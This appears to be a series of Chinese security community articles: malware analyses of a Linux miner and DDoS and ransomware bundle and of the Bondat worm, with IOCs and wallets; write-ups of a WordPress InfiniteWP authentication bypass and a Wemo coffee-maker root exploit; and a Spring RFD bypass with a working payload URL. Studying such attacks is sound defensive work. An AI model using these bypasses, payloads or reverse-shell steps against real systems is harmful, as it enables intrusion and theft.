rm -f /tmp/irqbalanc1
rm -f /tmp/irq
在function downloadyam()中下载Linux挖矿程序bashg(由开源GPU挖矿程序xmr-stak编译)和配置文件pools.txt；下载Linux平台CPU挖矿程序bashf(采用开源挖矿程序XMRig编译)以及配置文件名config.json。两种挖矿程序均使用与攻击Windows平台时相同的门罗币矿池和钱包。
## DDoS病毒
lower23.sh在完成挖矿功能后，还会植入基于Linux的DDoS病毒lst(国外厂商命名为Mayday)
lst搜集以下信息，并将其保存至结构g_statBase中：
系统版本
CPU核心数及其时钟速率
CPU负载
网络负载
创建一个新线程CThreadTaskManager ::
ProcessMain（），将开始攻击和终止攻击的命令放入执行队列。在此之后，创建一个新线程CThreadHostStatus ::
ProcessMain（），在此线程中，CPU和网络负载的数据每秒更新一次，如果接到请求，可以随时将数据发送到C＆C服务器。
然后创建20个线程，从任务队列中读取信息，并根据读取的信息启动攻击或终止攻击。
建立与C＆C的连接后，进入处理来自C＆C的消息的无限循环。如果命令具有参数，则C＆C则会发送另外4个字节，病毒根据接收到的不同参数执行不同类型的DDoS攻击。
执行DDoS攻击命令协议如下：
0×01 发起攻击，参数定义攻击的类型和要使用的线程数。攻击类型由一个字节定义，该字节可以取值0x80到0x84，共有5种攻击类型：
0x80 - TCP洪水攻击。
0x81 - UDP洪水攻击。
0x82 - ICMP洪水攻击。
0x83,0x84 - 两次DNS洪水攻击。两种攻击都类似于0x81，除了端口53（DNS服务的默认端口）用作目标端口。
0x02 终止攻击。
0x03 更新配置文件。
0x04 用于将当前命令的执行状态发送到C＆C服务器。
## 勒索蠕虫
lower23.sh继续植入在基于Linux平台执行的勒索蠕虫病毒Xbash
Xbash为使用PyInstaller将Python代码打包生成的ELF格式可执行程序，用于感染Linux系统。使用工具pyi-archive_viewer可提取出其中的pyc文件，然后通过反编译程序将其还原成Python代码。
Xbash会通过弱口令爆破和已知的服务器组件漏洞进行攻击，而且会删除目标系统中的数据库，在删除数据后提示勒索比特币，然而并没有发现其具有恢复数据的功能。
扫描端口：
HTTP：80,8080,8888,8000,8001,8088
VNC：5900,5901,5902,5903
MySQL：3306
Memcached：11211
MySQL/MariaDB：3309,3308,3360 3306,3307,9806,1433
FTP：21
Telnet：23,2233
PostgreSQL：5432
Redis：6379,2379
ElasticSearch：9200
MongoDB：27017
RDP：3389
UPnP/SSDP：1900
NTP：123
DNS：53
SNMP：161
LDAP：389
Rexec：512
Rlogin：513
Rsh：514
Rsync：873
Oracle数据库：1521
CouchDB：5984
对于某些服务，如VNC，Rsync，MySQL，MariaDB，Memcached，PostgreSQL，MongoDB和phpMyAdmin，如果相关端口打开，则使用内置的弱用户名/密码字典进行爆破登录
爆破登录成功后对用户的数据库进行删除：
然后在数据库中创建勒索提示文本PLEASE_README_XYZ，勒索金额为0.02个比特币：
Send 0.02 BTC to this address and contact this email with your website or your
ip or db_name of your server to recover your database! Your DB is Backed up to
our servers!If we not recived your payment,we will leak your database',
LygJdH8fN7BCk2cwwNBRWqMZqL1','[email protected]
## 三、安全建议
1. 加固服务器，修补服务器安全漏洞，对于phpStudy一类的集成环境，在安装结束后应及时修改MySQL密码为强密码，避免被黑客探测入侵。
2. 服务备份重要数据，并进行内网外网隔离防止重要数据丢失。检查并去除VNC、Rsync、MySQL、MariaDB、Memcached、PostgreSQL、MongoDB和phpMyAdmin等服务器使用的弱口令。
3. 网站管理员可使用腾讯云网站管家智能防护平台（网址：<https://s.tencent.com/product/wzgj/index.html>），该系统具备Web入侵防护，0Day漏洞补丁修复等多纬度防御策略，可全面保护网站系统安全。
4. 使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统，是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统。
## IOCs
IP
116.206.177.144
Domain
down.ctosus.ru
wk.skjsl.com
fk3.f3322.org
sbkcbig.f3322.net
URL
http[:]//down.ctosus.ru/bat.exe
http[:]//wk.skjsl.com:93/s667
http[:]//wk.skjsl.com:93/lowerv23.sh
http[:]//wk.skjsl.com:93/rootv23.sh
http[:]//wk.skjsl.com:93/xlk
http[:]//wk.skjsl.com/wrsngm.zip
http[:]//wk.skjsl.com/downulr.txt
http[:]//wk.skjsl.com/config.sjon
http[:]//wk.skjsl.com/bashf
http[:]//wk.skjsl.com/bashg
http[:]//wk.skjsl.com/pools.txt
http[:]//wk.skjsl.com/lst
http[:]//wk.skjsl.com/XbashH
http[:]//wk.skjsl.com/NetSyst96.dll
http[:]//www.kuaishounew.com/Down.exe
http[:]//www.kuaishounew.com/apps.txt
http[:]//www.kuaishounew.com/hook.exe
http[:]//www.kuaishounew.com/hehe.exe
http[:]//www.kuaishounew.com/office.exe
http[:]//www.kuaishounew.com/hehe.exe
http[:]//www.kuaishounew.com/hosts
http[:]//116.206.177.144/wrsngm.zip
http[:]//fk3.f3322.org/skycmdst.txt
md5
51d49c455bd66c9447ad52ebdb7c526a
fb9922e88f71a8265e23082b8ff3d417
cacde9b9815ad834fc4fb806594eb830
17f00668f51592c215266fdbce2e4246
40834e200ef27cc87f7b996fe5d44898
3897bdb933047f7e1fcba060b7e49b40
39ea5004a6e24b9b52349f5e56e8c742
8fdfe319255e1d939fe5f4502e55deee
13f337029bae8b4167d544961befa360
1b93e030d2d6f1cef92b2b6323ff9e9e
589ba3aac5119fc4e2682bafb699727b
82d28855a99013c70348e217c162ceb9
门罗币钱包1：
4Ak2AQiC1R4hFmvfSYRXfX6JSjR6YN9E81SRvLXRzeCefRWhSXq3SKDf8ZEFmpobNkXmgXnqA3CGKgaiAEJ2pjYi8BeQcn7
门罗币钱包2:
4AggMSAnFrQbp2c6gb98BZDBydgmjNhhxdN4qBSjwc3BDNQZwg5hRqoNczXMr7Fz6ufbwVaJL8sJmTdrp2dbKYcFRY2pe33
比特币钱包：
1jqpmcLygJdH8fN7BCk2cwwNBRWqMZqL1
邮箱：
[email protected]
## 参考链接
<https://www.freebuf.com/column/195035.html>
[https://www.freebuf.com/column/178753.html](https://www.freebuf.com/column/195035.html
"https://www.freebuf.com/column/178753.html")
<https://securelist.com/versatile-ddos-trojan-for-linux/64361/>
<https://unit42.paloaltonetworks.com/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/>
* * * | 社区文章 |
# Wordpress InfiniteWP Client插件 认证绕过
## 0x00 前言
InfiniteWP是一款wordpress站点管理插件，通过在server端安装admin
panel插件来对安装了client插件的客户端进行管理，管理的权限基本相当于管理员权限。server端的管理页面如下图所示
这个漏洞导致绕过安装了client插件的wp系统的权限认证，直接登陆后台，CVSS的评分为9.8。
> 限制
> 1.知道管理员用户名
> 2.InfiniteWP Client version < 1.9.4.5
## 0x01 分析
首先下载新版本与旧版本进行diff来找一下补丁的位置，发现只有下面一处修改
以此大概推断，当`$action`的值是add_site或readd_site时可能会触发漏洞。
在插件主文件`wp-content/plugins/iwp-client/init.php`中有一个函数`iwp_mmb_parse_request()`会在最后进行调用，这个函数用于解析请求，包括action解析和鉴权。
function iwp_mmb_parse_request(){
...
if (isset($iwp_action) && $iwp_action != 'restoreNew') {
...
if ($action == 'add_site') {
$params['iwp_action'] = $action;
$iwp_mmb_core->request_params = $params;
return;
}elseif ($action == 'readd_site') {
$params['id'] = $id;
$params['iwp_action'] = $action;
$params['signature'] = $signature;
$iwp_mmb_core->request_params = $params;
return;
}
$auth = $iwp_mmb_core->authenticate_message($action . $id, $signature, $id);
if ($auth === true) {
... 认证成功
} else {
iwp_mmb_response($auth, false); //认证失败，直接返回
}
...
这里的有个逻辑错误，程序先检测`$action`的值是否是`add_site`或`readd_site`，然后再调用`authenticate_message()`进行鉴权，鉴权失败则直接调用`iwp_mmb_response()`进行exit()。可是注意上面的if语句，当`$action`的值是`add_site`或`readd_site`时是直接return的，也就是说会bypass掉后面这个鉴权操作。
通过查看`add_site, readd_site`对应的方法，发现方法中通过ssl签名来进行校验，因此这两个方法不放在鉴权部分中是正常的。
那漏洞点在哪？当我调试完请求包后发现，响应包直接返回了`set-cookie`头，用这个cookie可以直接访问后台。
通过阅读源码，原来`iwp_mmb_set_request()`调用了进行了setcookie
function iwp_mmb_set_request(){
...
if(isset($params['username']) && !is_user_logged_in()){
$user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
...
if($isHTTPS){
wp_set_auth_cookie($user->ID);
}else{
wp_set_auth_cookie($user->ID, false, false);
wp_set_auth_cookie($user->ID, false, true);
}
可以看到，当用户传来的参数中有username键并且`is_user_logged_in()`返回false时，根据username来调用`get_user_by()`获取user
model，最后调用`wp_set_auth_cookie()`设置cookie。这里直接通过用户传来的username来进行set
cookie，没有任何的密码验证等鉴权操作。可以看出开发者认为程序走到这里一定是经过了前面的鉴权的，因此这里就没有“再做一次”。
## 0x02 补丁
在set cookie前对`$action`进行了一次`硬编码`判断
## 0x03 总结
这个漏洞由两部分组成，第一部分是‘证书校验’不需要进行鉴权操作，这本不算漏洞，可是第二部分直接根据username参数返回user
cookie，未进行任何权限判断，这才造成了漏洞。一般来说鉴权部分和set
cookie部分应该是合并在一个逻辑里的，这样才不容易出错。这里由于模块化设计，两部分的安全逻辑不一致，从而导致了这个漏洞。
## 0x04 参考
[Critical Authentication Bypass Vulnerability in InfiniteWP Client
Plugin](https://www.wordfence.com/blog/2020/01/critical-authentication-bypass-vulnerability-in-infinitewp-client-plugin/) | 社区文章 |
# Bondat蠕虫再度来袭！控制PC构建挖矿僵尸网络
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
近日，360互联网安全中心监测到流行蠕虫家族Bondat的感染量出现一轮小爆发。在这次爆发中，Bondat利用受害机器资源进行门罗币挖矿，并组建一个攻击WordPress站点的僵尸网络。根据360网络安全研究院对此次Bondat蠕虫爆发时使用的控制端域名bellsyscdn.com和urchintelemetry.com的监控数据来看，Bondat蠕虫此次爆发至少影响15000台个人电脑。
图1 Bondat蠕虫控制端域名bellsyscdn.com和urchintelemetry.com访问量变化趋势
Bondat蠕虫最早出现在2013年，是一个能够执行控制端下发的任意指令的“云控”蠕虫家族。Bondat蠕虫一般通过可移动磁盘传播，并依靠一个JS脚本完成信息收集、自我复制、命令执行、构建僵尸网络等多项任务。
下图展示了被感染的U盘情况。
图2展示了Bondat蠕虫的简单工作原理。
图3 Bondat蠕虫的简单工作原理
**门罗币挖矿**
早期的Bondat蠕虫主要通过修改浏览器主页获利。随着加密数字货币的兴起，Bondat蠕虫也涉足加密数字货币挖矿领域。在3月底的这次爆发中，Bondat蠕虫通过控制端下发门罗币挖矿代码并在受害者计算机上运行。图3展示了控制端下发的门罗币挖矿代码。
图4 Bondat蠕虫控制端下发的门罗币挖款代码
可以看到，Bondat蠕虫会根据用户计算机的实际情况使用Chrome浏览器、Firefox浏览器或Edge浏览器的其中之一后台访问hxxps://xmrmsft.com/hive.html进行挖矿。该页面中嵌入了基于Coin-hive的挖矿脚本，Bondat蠕虫实际上借助了用户的浏览器进行门罗币挖矿。
图5 hxxps://xmrmsft.com/hive.html页面中嵌入的挖矿脚本
有趣的是，Bondat蠕虫不同于其他挖矿僵尸网络直接将挖矿木马植入用户计算机中，而是以不显示窗口的方式通过浏览器访问指定网页进行挖矿，其收益相比较直接植入挖矿木马要低非常多。由于Bondat蠕虫主要在PC间传播，PC用户对于计算机的操作频率较高，通过浏览器挖矿相比较直接植入挖矿木马隐蔽性更高，这可能也是攻击者如此选择的原因。
Bondat蠕虫主要通过可移动磁盘传播，并借助可移动磁盘中的文件隐蔽自身。Bondat蠕虫会检索可移动磁盘中特定格式的文件（例如doc、jpg），在创建与这些文件同名的快捷方式的同时隐藏这些文件，而这些快捷方式指向Bondat蠕虫的启动器Drive.bat。当用户使用可移动磁盘时，极有可能将这些快捷方式误认为为正常文件，进而导致Bondat蠕虫的执行。图5展示了被用于隐蔽Bondat蠕虫的文件格式。
图6 被用于隐蔽Bondat蠕虫的文件格式
Bondat蠕虫也会与杀毒软件进行对抗，最显而易见的就是其对主体JS脚本代码进行大量混淆，这不仅影响杀毒软件的判断也增加了分析人员的工作量。图6展示了Bondat蠕虫部分代码混淆前后的对比，可以看出原本简单的代码经过混淆后变得相当复杂。
图7 Bondat蠕虫部分代码混淆前后的对比
此外，Bondat蠕虫还会尝试结束部分杀毒软件和安全软件进程，涉及的软件如图7所示。结束进程同时Bondat蠕虫会弹出一个如图8所示的伪造的程序错误提示框，此时无论用户点击确定或者取消都无法阻止进程结束，并且之后该进程无法再次启动。攻击者的本意可能是想伪造杀毒软件或安全软件异常退出时的假象，让用户误以为确实是这些软件内部出现了问题，但这也非常容易引起用户的怀疑，对于攻击者而言并不是一种明智的做法。
图8Bondat蠕虫尝试
图9 Bondat蠕虫结束进程时弹出的窗口
**构建针对** **WordPress** **站点的僵尸网络**
除了门罗币挖矿，我们还发现Bondat蠕虫通过PowerShell从hxxp://5.8.52.136/setup.php下载僵尸程序，构建针对WordPress站点的僵尸网络。根据监测数据来看，Bondat蠕虫于4月13日下发僵尸程序，这要稍晚于此次Bondat蠕虫的爆发时间。
图10 Bondat蠕虫对hxxp://5.8.52.136/setup.php访问量变化趋势图
setup.php使用多组弱口令对指定的WordPress站点进行登陆爆破，一旦爆破成功则将站点地址以及登陆帐户和密码发送到hxxp://5.8.52.136/put.php。setup.php进行爆破时使用的帐户名都为“admin”，密码如图10所示。
图11 setup.php进行爆破时使用的密码
在这一轮爆破攻击中，Bondat蠕虫主要针对以字母“j”开头的WordPress站点。我们推断，Bondat蠕虫可能已经进行了多次针对WordPress站点的爆破攻击。
此外，Bondat蠕虫下发的僵尸程序还试图在受害计算机上安装PHP格式的后门。僵尸程序从hxxp://5.8.52.136/php.zip下载完整的PHP环境安装在用户计算机中，并生成如图11所示的PHP后门。
图12 Bondat蠕虫生成的PHP后门
得益于PHP文件的特殊性，Bondat蠕虫安装的PHP后门具有更好的免杀特性。在功能上，该后门同样被用于进行针对WordPress站点的爆破攻击。
**结语**
各类U盘传播的蠕虫，一直以来都是学校，打印店，各类单位局域网内的“常客”，而Bondat蠕虫除会引发之前常见蠕虫的问题之外，还会大量消耗计算机资源，造成计算机卡慢等问题。Bondat蠕虫在对抗杀软方面，也做了大量工作，比如抛弃直接植入挖矿木马转而选择浏览器挖矿就增加了其隐蔽性。因此用户更需要对此提高警惕。防御这类蠕虫的攻击，主要可以从以下几方面入手：
1. 使用U盘，移动硬盘时应该格外注意，建议使用具有U盘防护功能的安全软件；
2. 发现计算机长时间异常卡顿，可以使用360安全卫士进行扫描体检；
3. 定期对计算机进行病毒木马查杀，防止蠕虫病毒持续驻留。
4. 而对于WordPrees站点管理者而言，使用强度较大的登陆密码，并且及时修补相关漏洞是阻止站点遭到攻击最有效的方法。
360安全卫士可以全面拦截和查杀此类木马，使用360安全卫士的用户无需担心。
**IOC**
95.153.31.18
95.153.31.22
bellsyscdn.com
urchintelemetry.com
5.8.52.136/setup.php
5.8.52.136/put.php
5.8.52.136/php.zip
5.8.52.136/get.zip | 社区文章 |
众所周知，物联网设备是不安全的。我们可以通过一些例子来对此进行解释。
随着越来越多的设备需要连接到互联网，黑客完全有可能通过WiFi入侵烤面包机进而攻击你的信用卡。
基于此，我开始用`Wemo（WeMo_WW_2.00.11058.PVT-OWRT-Smart）`来对`Mr. Coffee Coffee
Maker`进行研究分析，因为我们之前为我们的研究实验室够买了一个咖啡机并且没有很多人使用它。 本文是建立在我的同事`Douglas
McKee（@fulmetalpackets）`和他的`Wemo Insight`智能插件漏洞利用的工作的基础上。
然而在这个产品中我找不到类似的攻击切入点，所以我探索了一个独特的途径，并且找到另一个漏洞进行。 在这篇文章中，我将详细探讨我攻击的方法和过程。
所有`Wemo`设备都有两种与`Wemo App`通信的方式，并通过互联网远程或本地直接与`Wemo
App`进行通信。默认情况下，远程连接仅在启用远程访问设置时出现。为了允许远程控制`Wemo`设备，`Wemo`会定期检查`Belkin`的服务器并及时进行更新。这样以来，`Wemo`就不需要打开网络上的任何端口。但是，如果我们尝试在本地控制`Wemo`设备，或者禁用远程访问设置，`Wemo`应用程序将直接连接到`Wemo`。本文的研究都是基于关闭远程访问设置并进行本地设备通信。
为了深入了解咖啡机如何与其移动应用程序通信，我首先使用名为“`SSL Capture`”的应用程序并在我的手机上设置本地网络捕获`.SSL
Capture`允许用户捕获来自移动应用程序的流量。在这种情况下，我选择使用`Wemo`应用程序。随着对流量包的截获，我浏览了`Wemo`应用程序并启动了几个标准命令来生成网络流量。我能够查看咖啡机和`Wemo`应用程序之间的通信信息。该应用程序具有其独特的特征，即用户能够设定咖啡机在指定时间进行工作。我制定了几个时间表并保存了它们。
我开始分析手机应用程序和`Mr. Coffee`机器之间的网络流量。 两个设备之间的所有传输都以明文形式进行，这意味着过程中不使用加密。
我还注意到，咖啡机和移动应用程序通过名为`UPNP`的协议进行通信，该协议具有称为“`SOAP
ACTION`S”的预设操作。从设备深入挖掘网络捕获，我看到了SOAP操作 “SetRules。”这也是移动应用程序设置的“brew计划”相关的XML内容。
此时，我能够看到`Wemo`移动应用程序的功能程序代码。 接下来，我想看看咖啡机是否对这些时间表进行了相关验证，因此我回到了移动应用程序并将它们全部禁用。
然后，我从网络捕获中复制了数据和标题，并使用`Linux Curl`命令将数据包发送回咖啡机。 我得到了返回标题状态“200”（HTTP中的“OK”）。
这表明酿造时间并没有被验证。我进一步验证了移动应用程序并制定了新的工作计划。
此时我可以在不使用`Wemo`移动应用程序的情况下更改咖啡机的工作时间表。为了理解如何将时间表存储在Wemo咖啡机上，我决定将其拆解并查看内部的电子设备。拆开后我看到有一个`Wemo`模块连接到了一个更大的PCB，并负责控制咖啡机的功能。然后我从咖啡机中提取了Wemo模块。这看起来与`Wemo
Insight`设备中的Wemo模块几乎完全相同。我根据`Doug`的博客开发了`Wemo
Insight`，以进行序列识别、固件提取和root密码更改操作。在通过Wemo设备上的串行端口获得`root`访问权限之后，我开始研究底层Linux操作系统并启动Wemo应用程序的方式。在查看了常见的Linux文件和目录时，我注意到“crontab”文件中有一些不常见的东西（在Linux中用于执行和调度命令）。
开发人员采用了简单的路线并使用`Linux crontab`文件来安排任务，而不是编写自己的brew调度功能。
crontab条目与我通过`Wemo`应用程序（coffee-3）发送的工作计划相同，并以root身份执行。如果我在重放的`UPN`P数据包中添加某种命令来执行此操作，我可能会通过网络以root身份执行我的命令。
在转储固件后，我决定查看在`crontab`中调用的“`rtng_run_rule`”可执行文件。`rtng_run_rule`是一个`Lua`脚本。由于`Lua`是一种脚本语言并使用纯文本编写的，而不是像其他`Wemo`可执行文件一样编译。我遵循执行流程，直到我发现了应用规则并将参数传递给模板以。之后，我发现将命令进行直接注入是没有用的，而应该考虑修改执行执行的模板。
我回到`Wemo`移动应用程序的网络捕获并开始再次挖掘相关信息。我发现该应用程序还将模板发送给`Wemo`咖啡机。如果我能弄清楚如何修改模板并且能对Wemo进行欺骗，那么我可以进行任意代码的执行。
发送了3个模板，`“do”、“do_if”和“do_unless”`。每个模板都是Lua脚本并用base64编码。基于此，我知道注入自己的代码是无用的。唯一剩下的挑战就是如何处理包含在模板顶部的MD5哈希。事实证明，这不是一个障碍。
我分别创建了`base-64`解码的`Lua`脚本和`base64`编码脚本的`MD5`哈希，并查看匹配正在发送的哈希。然而，两者都不匹配模板中发送的MD5。我开始认为开发人员使用某种HMAC或巧妙的方式来散列模板，这会使上传恶意模板变得更加困难。然而，我惊讶地发现它只是字符串“`begin-base64 644 <template name>`”前面的base64代码，并附加了字符串“`====`”。
最后，我有能力上传我的任何模板，并让它绕过了预定规则所需的所有Wemo验证步骤。
我添加了一个名为“hack”的新模板，并在模板中添加了一个代码块来下载和执行shell脚本。
在shell命令中，我指示`Mr. Coffee Coffee
Maker`和`Wemo`下载一个编译过的Netcat版本文件，这样我就可以得到一个反向shell，并且还添加了一个“`rc.local”`的条目。这样做是为了让咖啡机重新启动，重启后我会通过Netcat反向shell持久访问设备。
这个漏洞利用程序的最后一个功能是使用我之前学到的知识来使用我的新“hack”模板执行我的shell脚本来安排工作计划。
我采用了我之前的时间表并对其进行了修改，使得“hack”代码在发送后5分钟内执行。
现在，我坐下来等待咖啡机（在我指定的时间延迟）连接到我的电脑，下载我的shell脚本并运行它。我确认我进行一个反向shell操作，并且完全符合预期。
此漏洞需要网络访问咖啡机所在的同一网络。根据用户密码的复杂程度，使用当今的计算能力，WiFi破解可能是一项相对简单的任务。例如，我们演示了一个快速而又简单的暴力字典攻击，以便在`Wemo
Insight`智能插件的演示中破解复杂的`WPA2`密码（10个字符的字母数字）。然而，这些使用特殊字符的复杂密码会成倍增加暴力攻击的难度。我们于2018年11月16日联系了`Belkin`并向他们披露了这个问题。虽然供应商没有回复此报告，但我们发现最新的固件更新修补了该问题。尽管没有沟通的过程，但我们很高兴看到我们的研究成果进一步巩固了家庭自动化设备。
此漏洞表明，如果用户知道要查找的内容，并非所有漏洞都是否复杂或需要花费大量精力才能完成。这个漏洞的存在完全是因为在缺乏输入和验证的情况下做出了一些糟糕的编码决策。即使此目标不包含敏感数据且仅限于本地网络，但这并不意味着恶意黑客不会针对此类IOT设备进行攻击。对于任何消费者来说，购买新的物联网小工具时，要问自己：“这真的需要连接到互联网吗？
本文翻译自：https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/your-smart-coffee-maker-is-brewing-up-trouble/ | 社区文章 |
**漏洞描述：**
In Spring Framework versions 5.2.0 - 5.2.8, 5.1.0 - 5.1.17, 5.0.0 - 5.0.18,
4.3.0 - 4.3.28, and older unsupported versions, the protections against RFD
attacks from CVE-2015-5211 may be bypassed depending on the browser used
through the use of a jsessionid path parameter.
**初步分析：**
RFD漏洞原理略过，从漏洞描述可知CVE-2020-5421是针对CVE-2015-5211修复方式的一个绕过，绕过方式是通过一个jsessionid路径参数
**CVE-2015-5211:**
CVE-2015-5211是针对Spring内容协商机制(content-negotiation)的滥用导致的RFD漏洞。
写一个简单的demo:
@Controller
@RequestMapping(value = "/spring")
public class springRFD {
@RequestMapping("rfd")
@ResponseBody
public String Index(String content, HttpServletResponse response){
return content;
}
}
正常访问此请求：
<http://x.x.x.x/spring/rfd?content=calc>
响应中Content-Type为text/html
URL结尾加.json
<http://x.x.x.x/spring/rfd.json?content=calc>
响应中Content-Type为application/json
URL结尾改为.bat
<http://x.x.x.x/spring/rfd.bat?content=111>
此时通过浏览器访问，浏览器会将响应内容保存为文件，在响应头未指定Content-Disposition的情况下，根据URL保存文件名为rfd.bat，此时若用户点击下载的文件，将执行rfd.bat中的命令。RFD漏洞即通过钓鱼诱骗的方式，以可信的网站地址欺骗用户下载执行恶意脚本。
Spring针对CVE-2015-5211的修复方式是指定一个后缀的白名单，白名单外的后缀文件类型将统一添加一个响应头Content-Disposition: inline;filename=f.txt，此时下载文件后将保存为文件名f.txt，即使用户点击该文件也不会执行恶意脚本
**CVE-2020-5421:**
CVE-2020-5421是针对CVE-2015-5211修复方式的绕过，定位到CVE-2015-5211的修复代码
org.springframework.web.servlet.mvc.method.annotation.AbstractMessageConverterMethodProcessor.
addContentDispositionHeader
跟进rawUrlPathHelper.getOriginatingRequestUri方法，一路跟进定位到org.springframework.web.util.removeJsessionid方法中会将请求url中;jsessionid=字符串开始进行截断(或者下一个;前)
此时关注spring另一个特性，URL路径中添加;开头字符串的path仍可正常访问请求，如
<http://x.x.x.x/spring/rfd?content=111>
<http://x.x.x.x/spring/;xxx/rfd?content=111>
是可以得到同样响应的
结合上述删除;jsessionid=的代码片段，删除;jsessionid=之后CVE-2015-5211的后续防御代码即将获取不到请求的真实后缀文件名，得到CVE-2020-5421的绕过payload
<http://x.x.x.x/spring/;jsessionid=/rfd.bat?content=calc>
修复后版本spring5.2.9测试，cve-2020-5421的payload情况下仍将添加Content-Disposition:
inline;filename=f.txt头
**参考资料：**
<https://tanzu.vmware.com/security/cve-2020-5421> | 社区文章 |
Subsets and Splits